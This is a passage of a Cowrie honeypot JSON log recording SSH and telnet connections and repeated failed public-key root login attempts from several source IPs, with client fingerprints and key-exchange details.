14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:50.542743Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:f7:14:cf:90:56:f4:7b:f2:a8:24:73:de:36:f9:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUZSIqimyrE4DciEpzOaStQ7UVQk76YutreSyyVm0QwlTPANUOPbpKa1FyoFQ1MLjBaJpMmHj/mf5pMycWCf3zJ6GsXTeAdta6HBsi641GBa/WejCV9ypY9MMHqc6o5s83K96GATBFJV3mhImLQNscLLlasZigKBCK65ZUJ3/fmcS6YBQpMhluhrGPjMtUER2/Ok9OML0+grXkW3eZFzdnHQroIpd5ujnBatbABiv4wdW3XrxNTDd8liHyGleCInmWicbRm0R1DGb6z1c2xt59xAygy9l7rcgLnByMRYQb6IBwFK24iYxlTVeLcny386QsB/ZaLwpZo+VRzWS1HvY3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:f7:14:cf:90:56:f4:7b:f2:a8:24:73:de:36:f9:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:50.979789Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:f7:14:cf:90:56:f4:7b:f2:a8:24:73:de:36:f9:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUZSIqimyrE4DciEpzOaStQ7UVQk76YutreSyyVm0QwlTPANUOPbpKa1FyoFQ1MLjBaJpMmHj/mf5pMycWCf3zJ6GsXTeAdta6HBsi641GBa/WejCV9ypY9MMHqc6o5s83K96GATBFJV3mhImLQNscLLlasZigKBCK65ZUJ3/fmcS6YBQpMhluhrGPjMtUER2/Ok9OML0+grXkW3eZFzdnHQroIpd5ujnBatbABiv4wdW3XrxNTDd8liHyGleCInmWicbRm0R1DGb6z1c2xt59xAygy9l7rcgLnByMRYQb6IBwFK24iYxlTVeLcny386QsB/ZaLwpZo+VRzWS1HvY3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:50.983073Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:47:c2:e3:c5:45:e4:4d:07:d8:b3:ac:64:23:32:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGfTeW1P8IVZ4gnWtLvln0mSKNQLDkMzPF/uEpW7FJVDiM5ISvNpioUiK8FfdW5lWNzkbBcftGBg+hbIUz9PCsHhlTZkQHdzEJHVVP1qDUAn1B+s0uI7hpwKFpYfXS45bjmHFm3zucT2xubVj+p9NkQZd34LeD6a7pQfto85R9UBTrrwIAc5SouLFdNRhQauSN7cNdZCM/GgmoGJabxcnVeorkGpTphQdzM1brq19MqMdXwDvBr5NRQFHqQ3QIKLg6VU6pgz7jROvoyto5Bj8j3HEyt8MdtPqf/inV/XqN5+IaEM3rQ9xQX1hkma8/3qwyFvGtGwSiBacuZ9MuYb3LXJlptSbkgAzajHyIU/W66ZvHZecYiqRq0IrVDlgnr4ag8qKWkV/1PWimH8QXjLonnhHIdB/YDi5FTUdpwWqRcJKplZdQI/+sAStBKeljd6aHHwBRUUCYaZKBPnDKHRlrtzQsEBSjbYTt+kUJcMtTzzmsTZteUQDgCrfR3Z+I/rb8WV0BJCVZErmrlHvN8GarhPGb5b7Kya4fZGKybhv+ToXca5Hu16BeX5J37iNvnNr24Pf8lKQpypfnAqg2bmwzNx4boZyFROgfZRBKrCgyydYuRfxkYmoZVJxZ6ERUE/LrV4dNEKY2lMJePHWnUyYoFSUGqw4BgmyrKetcCvE39w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:47:c2:e3:c5:45:e4:4d:07:d8:b3:ac:64:23:32:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.075122Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:47:c2:e3:c5:45:e4:4d:07:d8:b3:ac:64:23:32:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGfTeW1P8IVZ4gnWtLvln0mSKNQLDkMzPF/uEpW7FJVDiM5ISvNpioUiK8FfdW5lWNzkbBcftGBg+hbIUz9PCsHhlTZkQHdzEJHVVP1qDUAn1B+s0uI7hpwKFpYfXS45bjmHFm3zucT2xubVj+p9NkQZd34LeD6a7pQfto85R9UBTrrwIAc5SouLFdNRhQauSN7cNdZCM/GgmoGJabxcnVeorkGpTphQdzM1brq19MqMdXwDvBr5NRQFHqQ3QIKLg6VU6pgz7jROvoyto5Bj8j3HEyt8MdtPqf/inV/XqN5+IaEM3rQ9xQX1hkma8/3qwyFvGtGwSiBacuZ9MuYb3LXJlptSbkgAzajHyIU/W66ZvHZecYiqRq0IrVDlgnr4ag8qKWkV/1PWimH8QXjLonnhHIdB/YDi5FTUdpwWqRcJKplZdQI/+sAStBKeljd6aHHwBRUUCYaZKBPnDKHRlrtzQsEBSjbYTt+kUJcMtTzzmsTZteUQDgCrfR3Z+I/rb8WV0BJCVZErmrlHvN8GarhPGb5b7Kya4fZGKybhv+ToXca5Hu16BeX5J37iNvnNr24Pf8lKQpypfnAqg2bmwzNx4boZyFROgfZRBKrCgyydYuRfxkYmoZVJxZ6ERUE/LrV4dNEKY2lMJePHWnUyYoFSUGqw4BgmyrKetcCvE39w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.077924Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:7b:95:3c:82:ee:71:16:bb:95:51:1a:67:db:d7:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKxlyTamwAAtmnbSAD4Bp92/m4N8ZlkJU7rrCu8241M3vHn4bo5ytyHPaWp+20V/rsOi4+MbMf0tvaVrErhwG8/uI15aA1mdeokVeQbbj6QhwWxDPOrHH4NfP2RNqiLkoKatFXH63n1nHGvwIsNN9NvzdtswTQRahC26MVZKyAPIHwmB0Iak8Jig0PlJO5Mh2kVdafZ8AcPeYWX7w7hEIRDRCBFzVf4v348XUZyjayFCCyLF9XgqVH3PDH+0DTC3zI6/UvanmxwxGwQDLvNQKZk6BtCzoLYxRk83gE+xhyZqx+qSstGQaLEdKMHQgYtmvlvNRDtKdIz499egUkcu9+c0/Ry1Xg/3m3Ga0r9o6imzcG/9yGi9Dyy8DvoIexGVuRv0KfSF7EQKgh0xytOXPvEcJSP+KbpZf4nteG1C3DEwxd8ebQZ33zkTL8+j2pOq+2mr+5/jhjvQrPJg7yo7FeOxGkqLdodhoCJsamCbiXMagp5l0oC6h4PnslU6FOOZHFtoUBUoR0NI44Nb6sHfUUKneYtFcDiUwVH3AzpdUE3Cj1qE2nfs3d3T8j3CLGWCi3BCPwrjz/zY1yhDHw0VL8Juz/mCL5RbsUny/foBsAI36aAW0Mea5CttRS3mZQ02E12zjT3eIA3oLoE3iXujBqUfeFIN7BlkjdTTzIsnsZMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:7b:95:3c:82:ee:71:16:bb:95:51:1a:67:db:d7:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.168570Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:7b:95:3c:82:ee:71:16:bb:95:51:1a:67:db:d7:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKxlyTamwAAtmnbSAD4Bp92/m4N8ZlkJU7rrCu8241M3vHn4bo5ytyHPaWp+20V/rsOi4+MbMf0tvaVrErhwG8/uI15aA1mdeokVeQbbj6QhwWxDPOrHH4NfP2RNqiLkoKatFXH63n1nHGvwIsNN9NvzdtswTQRahC26MVZKyAPIHwmB0Iak8Jig0PlJO5Mh2kVdafZ8AcPeYWX7w7hEIRDRCBFzVf4v348XUZyjayFCCyLF9XgqVH3PDH+0DTC3zI6/UvanmxwxGwQDLvNQKZk6BtCzoLYxRk83gE+xhyZqx+qSstGQaLEdKMHQgYtmvlvNRDtKdIz499egUkcu9+c0/Ry1Xg/3m3Ga0r9o6imzcG/9yGi9Dyy8DvoIexGVuRv0KfSF7EQKgh0xytOXPvEcJSP+KbpZf4nteG1C3DEwxd8ebQZ33zkTL8+j2pOq+2mr+5/jhjvQrPJg7yo7FeOxGkqLdodhoCJsamCbiXMagp5l0oC6h4PnslU6FOOZHFtoUBUoR0NI44Nb6sHfUUKneYtFcDiUwVH3AzpdUE3Cj1qE2nfs3d3T8j3CLGWCi3BCPwrjz/zY1yhDHw0VL8Juz/mCL5RbsUny/foBsAI36aAW0Mea5CttRS3mZQ02E12zjT3eIA3oLoE3iXujBqUfeFIN7BlkjdTTzIsnsZMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.172126Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:be:58:44:8e:b8:77:27:61:9f:98:dc:09:ab:56:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC64Vzkcmd9TM54JewJDzF77+iQWYVRgDDnqGgVhDcRKOO87bknrfTzMfnLHWznA+hiQzYwYYgdJmAtvjsfwnuMYh1MDpUF/jTjCRHtJLM3bZwFT6dMUOWZrsNlpjk3omhXjHFteF+txoUsVS9YxR/dLF49PIUiyYYIm/+BUm0LpH2uwdPrBkXlquVicpFed+BrSeDiKRp2sMMgwRcKlN4mmQ8xFPk+4R3huVxM6AdivGjbT05WA4xDCoLhu8zvMyD02+5xvK7ojxHR+HYj0Bp2CIRzGY2MGGrckxCWtxfs74oMBMgC3u8RtAdjxAXH7K0VVQo3Wg1vLO28q+QBnBbgx7bu/SUTy5IOJlIGvzHGXWjLd/vvjxxZgpmER3SwE8bCjd4U7g1iPbngXYAZE5Jq7f8Pl5ZYDh3rLsxsBfkncLVSr6N49ahWP2L/64wA7luowPU4tBnZC5hw78nuZCQqo0wZP0meGSzm/2K8vyUle/ERj5iR5a3J+CVXmWybrggzJoGwQJKcddopnZDvRSdUonZ4EDd9tYMP54FBbQwbB6FjpCoD6+3fuNG3EvIGae0jN01Kv+AJNRGgD5gTzbqEmwsAxuVTyEZSQwrTqGCJzeDHqJ0Me0HpCioqJAZwjS1lpd/w71mnqtuOnLYaNJkHXEMtbOvF2vknZwMMgdsOpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:be:58:44:8e:b8:77:27:61:9f:98:dc:09:ab:56:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.265971Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:be:58:44:8e:b8:77:27:61:9f:98:dc:09:ab:56:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC64Vzkcmd9TM54JewJDzF77+iQWYVRgDDnqGgVhDcRKOO87bknrfTzMfnLHWznA+hiQzYwYYgdJmAtvjsfwnuMYh1MDpUF/jTjCRHtJLM3bZwFT6dMUOWZrsNlpjk3omhXjHFteF+txoUsVS9YxR/dLF49PIUiyYYIm/+BUm0LpH2uwdPrBkXlquVicpFed+BrSeDiKRp2sMMgwRcKlN4mmQ8xFPk+4R3huVxM6AdivGjbT05WA4xDCoLhu8zvMyD02+5xvK7ojxHR+HYj0Bp2CIRzGY2MGGrckxCWtxfs74oMBMgC3u8RtAdjxAXH7K0VVQo3Wg1vLO28q+QBnBbgx7bu/SUTy5IOJlIGvzHGXWjLd/vvjxxZgpmER3SwE8bCjd4U7g1iPbngXYAZE5Jq7f8Pl5ZYDh3rLsxsBfkncLVSr6N49ahWP2L/64wA7luowPU4tBnZC5hw78nuZCQqo0wZP0meGSzm/2K8vyUle/ERj5iR5a3J+CVXmWybrggzJoGwQJKcddopnZDvRSdUonZ4EDd9tYMP54FBbQwbB6FjpCoD6+3fuNG3EvIGae0jN01Kv+AJNRGgD5gTzbqEmwsAxuVTyEZSQwrTqGCJzeDHqJ0Me0HpCioqJAZwjS1lpd/w71mnqtuOnLYaNJkHXEMtbOvF2vknZwMMgdsOpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.269842Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:47:11:e7:10:91:e1:a5:4b:c5:e0:58:3c:d6:87:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcYBLr1maNKJjFDCoGbxVKnfdBGqdHlM1ZslDlAunbINId4oaZf1vlE0hK2RKUXnvWbiFcUhuKkadqtBkP15oBSB6HPRQdjF8nadlf7WQ9KtgJAK8oEgXOVpUJ61Q4Xbl7rbJXtFLv2BDWueqUIL5XXIUAmkcJqOKxcECZltj+UNRqWmZrXteNUdrVUbEE35kZqzpPq0VpoQXciI510dZtzotS4a6S6+f/8kWfc9DDQUq8xC14aHG4hqF6EelRhI+HzA27N6owBohcJUFcGAEL8vfT/OYzcuUk4sdQIzQdW3xJcvMhxbdFFEmnbTAqfiClGxTslNcTB1JRQzuZ2KeUDKJR1QbDqtCt7R8zMupgoAbfvEJ9PZfUiXeD+25exz7HLj1SNE6AEKUWKz9JWLUFW5VPMbLHn7h9RMcw1yPHviingnkMdyrxb/WaV+9jvYHbDzsxSESFrz6Ys3u5QkS0j0HO1ASNzVBueFKB/OlX+MW8EKqAIxWG1gG8NMD0V9oS7y+uC22tGmwQxWMVpyk1Oxb4No3OnFxTbGSo/tuAXYyJR3+FwJVflLoBvrXqYZYy22tYjtDdAobxsIhbHArZYQEflEj7Y6RNDQ7tYOjjiYrHx9oBUJCSA2CN69WHh8skAx3wcVRxaen382ZmPPKodY/rC9crwWURdp3o3orU/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:47:11:e7:10:91:e1:a5:4b:c5:e0:58:3c:d6:87:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.361736Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:47:11:e7:10:91:e1:a5:4b:c5:e0:58:3c:d6:87:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcYBLr1maNKJjFDCoGbxVKnfdBGqdHlM1ZslDlAunbINId4oaZf1vlE0hK2RKUXnvWbiFcUhuKkadqtBkP15oBSB6HPRQdjF8nadlf7WQ9KtgJAK8oEgXOVpUJ61Q4Xbl7rbJXtFLv2BDWueqUIL5XXIUAmkcJqOKxcECZltj+UNRqWmZrXteNUdrVUbEE35kZqzpPq0VpoQXciI510dZtzotS4a6S6+f/8kWfc9DDQUq8xC14aHG4hqF6EelRhI+HzA27N6owBohcJUFcGAEL8vfT/OYzcuUk4sdQIzQdW3xJcvMhxbdFFEmnbTAqfiClGxTslNcTB1JRQzuZ2KeUDKJR1QbDqtCt7R8zMupgoAbfvEJ9PZfUiXeD+25exz7HLj1SNE6AEKUWKz9JWLUFW5VPMbLHn7h9RMcw1yPHviingnkMdyrxb/WaV+9jvYHbDzsxSESFrz6Ys3u5QkS0j0HO1ASNzVBueFKB/OlX+MW8EKqAIxWG1gG8NMD0V9oS7y+uC22tGmwQxWMVpyk1Oxb4No3OnFxTbGSo/tuAXYyJR3+FwJVflLoBvrXqYZYy22tYjtDdAobxsIhbHArZYQEflEj7Y6RNDQ7tYOjjiYrHx9oBUJCSA2CN69WHh8skAx3wcVRxaen382ZmPPKodY/rC9crwWURdp3o3orU/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.365536Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:51.457560Z","src_ip":"136.243.133.118","session":"445318809f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36584,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b28755c24aa","protocol":"telnet","message":"New connection: 128.199.8.54:36584 (159.203.135.109:23) [session: 8b28755c24aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:52.241871Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.90.82","src_port":53484,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d75d3362d36","protocol":"ssh","message":"New connection: 142.171.90.82:53484 (10.17.0.5:22) [session: 3d75d3362d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:54.579580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:54.583556Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:54.653281Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:f7:14:cf:90:56:f4:7b:f2:a8:24:73:de:36:f9:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUZSIqimyrE4DciEpzOaStQ7UVQk76YutreSyyVm0QwlTPANUOPbpKa1FyoFQ1MLjBaJpMmHj/mf5pMycWCf3zJ6GsXTeAdta6HBsi641GBa/WejCV9ypY9MMHqc6o5s83K96GATBFJV3mhImLQNscLLlasZigKBCK65ZUJ3/fmcS6YBQpMhluhrGPjMtUER2/Ok9OML0+grXkW3eZFzdnHQroIpd5ujnBatbABiv4wdW3XrxNTDd8liHyGleCInmWicbRm0R1DGb6z1c2xt59xAygy9l7rcgLnByMRYQb6IBwFK24iYxlTVeLcny386QsB/ZaLwpZo+VRzWS1HvY3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:f7:14:cf:90:56:f4:7b:f2:a8:24:73:de:36:f9:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:54.976382Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:f7:14:cf:90:56:f4:7b:f2:a8:24:73:de:36:f9:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUZSIqimyrE4DciEpzOaStQ7UVQk76YutreSyyVm0QwlTPANUOPbpKa1FyoFQ1MLjBaJpMmHj/mf5pMycWCf3zJ6GsXTeAdta6HBsi641GBa/WejCV9ypY9MMHqc6o5s83K96GATBFJV3mhImLQNscLLlasZigKBCK65ZUJ3/fmcS6YBQpMhluhrGPjMtUER2/Ok9OML0+grXkW3eZFzdnHQroIpd5ujnBatbABiv4wdW3XrxNTDd8liHyGleCInmWicbRm0R1DGb6z1c2xt59xAygy9l7rcgLnByMRYQb6IBwFK24iYxlTVeLcny386QsB/ZaLwpZo+VRzWS1HvY3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:54.980255Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:47:c2:e3:c5:45:e4:4d:07:d8:b3:ac:64:23:32:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGfTeW1P8IVZ4gnWtLvln0mSKNQLDkMzPF/uEpW7FJVDiM5ISvNpioUiK8FfdW5lWNzkbBcftGBg+hbIUz9PCsHhlTZkQHdzEJHVVP1qDUAn1B+s0uI7hpwKFpYfXS45bjmHFm3zucT2xubVj+p9NkQZd34LeD6a7pQfto85R9UBTrrwIAc5SouLFdNRhQauSN7cNdZCM/GgmoGJabxcnVeorkGpTphQdzM1brq19MqMdXwDvBr5NRQFHqQ3QIKLg6VU6pgz7jROvoyto5Bj8j3HEyt8MdtPqf/inV/XqN5+IaEM3rQ9xQX1hkma8/3qwyFvGtGwSiBacuZ9MuYb3LXJlptSbkgAzajHyIU/W66ZvHZecYiqRq0IrVDlgnr4ag8qKWkV/1PWimH8QXjLonnhHIdB/YDi5FTUdpwWqRcJKplZdQI/+sAStBKeljd6aHHwBRUUCYaZKBPnDKHRlrtzQsEBSjbYTt+kUJcMtTzzmsTZteUQDgCrfR3Z+I/rb8WV0BJCVZErmrlHvN8GarhPGb5b7Kya4fZGKybhv+ToXca5Hu16BeX5J37iNvnNr24Pf8lKQpypfnAqg2bmwzNx4boZyFROgfZRBKrCgyydYuRfxkYmoZVJxZ6ERUE/LrV4dNEKY2lMJePHWnUyYoFSUGqw4BgmyrKetcCvE39w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:47:c2:e3:c5:45:e4:4d:07:d8:b3:ac:64:23:32:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.052039Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:47:c2:e3:c5:45:e4:4d:07:d8:b3:ac:64:23:32:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGfTeW1P8IVZ4gnWtLvln0mSKNQLDkMzPF/uEpW7FJVDiM5ISvNpioUiK8FfdW5lWNzkbBcftGBg+hbIUz9PCsHhlTZkQHdzEJHVVP1qDUAn1B+s0uI7hpwKFpYfXS45bjmHFm3zucT2xubVj+p9NkQZd34LeD6a7pQfto85R9UBTrrwIAc5SouLFdNRhQauSN7cNdZCM/GgmoGJabxcnVeorkGpTphQdzM1brq19MqMdXwDvBr5NRQFHqQ3QIKLg6VU6pgz7jROvoyto5Bj8j3HEyt8MdtPqf/inV/XqN5+IaEM3rQ9xQX1hkma8/3qwyFvGtGwSiBacuZ9MuYb3LXJlptSbkgAzajHyIU/W66ZvHZecYiqRq0IrVDlgnr4ag8qKWkV/1PWimH8QXjLonnhHIdB/YDi5FTUdpwWqRcJKplZdQI/+sAStBKeljd6aHHwBRUUCYaZKBPnDKHRlrtzQsEBSjbYTt+kUJcMtTzzmsTZteUQDgCrfR3Z+I/rb8WV0BJCVZErmrlHvN8GarhPGb5b7Kya4fZGKybhv+ToXca5Hu16BeX5J37iNvnNr24Pf8lKQpypfnAqg2bmwzNx4boZyFROgfZRBKrCgyydYuRfxkYmoZVJxZ6ERUE/LrV4dNEKY2lMJePHWnUyYoFSUGqw4BgmyrKetcCvE39w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.055711Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:7b:95:3c:82:ee:71:16:bb:95:51:1a:67:db:d7:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKxlyTamwAAtmnbSAD4Bp92/m4N8ZlkJU7rrCu8241M3vHn4bo5ytyHPaWp+20V/rsOi4+MbMf0tvaVrErhwG8/uI15aA1mdeokVeQbbj6QhwWxDPOrHH4NfP2RNqiLkoKatFXH63n1nHGvwIsNN9NvzdtswTQRahC26MVZKyAPIHwmB0Iak8Jig0PlJO5Mh2kVdafZ8AcPeYWX7w7hEIRDRCBFzVf4v348XUZyjayFCCyLF9XgqVH3PDH+0DTC3zI6/UvanmxwxGwQDLvNQKZk6BtCzoLYxRk83gE+xhyZqx+qSstGQaLEdKMHQgYtmvlvNRDtKdIz499egUkcu9+c0/Ry1Xg/3m3Ga0r9o6imzcG/9yGi9Dyy8DvoIexGVuRv0KfSF7EQKgh0xytOXPvEcJSP+KbpZf4nteG1C3DEwxd8ebQZ33zkTL8+j2pOq+2mr+5/jhjvQrPJg7yo7FeOxGkqLdodhoCJsamCbiXMagp5l0oC6h4PnslU6FOOZHFtoUBUoR0NI44Nb6sHfUUKneYtFcDiUwVH3AzpdUE3Cj1qE2nfs3d3T8j3CLGWCi3BCPwrjz/zY1yhDHw0VL8Juz/mCL5RbsUny/foBsAI36aAW0Mea5CttRS3mZQ02E12zjT3eIA3oLoE3iXujBqUfeFIN7BlkjdTTzIsnsZMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:7b:95:3c:82:ee:71:16:bb:95:51:1a:67:db:d7:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.124579Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
